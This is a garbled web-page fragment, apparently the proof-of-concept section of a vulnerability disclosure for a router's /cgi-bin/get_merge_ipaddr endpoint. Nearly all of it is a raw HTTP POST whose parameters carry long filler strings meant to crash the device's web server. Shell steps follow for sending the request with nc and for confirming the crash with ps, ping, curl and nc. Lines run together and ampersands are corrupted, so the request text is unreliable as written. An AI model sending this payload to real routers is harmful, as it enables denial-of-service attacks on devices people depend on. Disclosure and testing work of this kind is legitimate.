x. Proof-of-Concept (PoC) testing
Payload
Example
Send the payload
Verify crash
Last updated
Last updated
POST /cgi-bin/get_merge_ipaddr HTTP/1.1
Host: <router_ip>
User-Agent: <user_agent>
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
param_0=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¶m_1=BBBBBBBBBBBBBBBBBBBBBBBBBBBBB¶m_2=CCCCCCCCCCCCCCCCCCCCCCCCCCCCC¶m_3=DDDDDDDDDDDDDDDDDDDDDDDDDDDDPOST /cgi-bin/get_merge_ipaddr HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
param_0=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¶m_1=BBBBBBBBBBBBBBBBBBBBBBBBBBBBB¶m_2=CCCCCCCCCCCCCCCCCCCCCCCCCCCCC¶m_3=DDDDDDDDDDDDDDDDDDDDDDDDDDDD$ cat payload.txt | nc -v <router_ip> 80$ ps w | grep httpd$ ping <router_ip>
$ curl http://<device_ip>:80
$ nc -u -v <device_ip> 53$ ...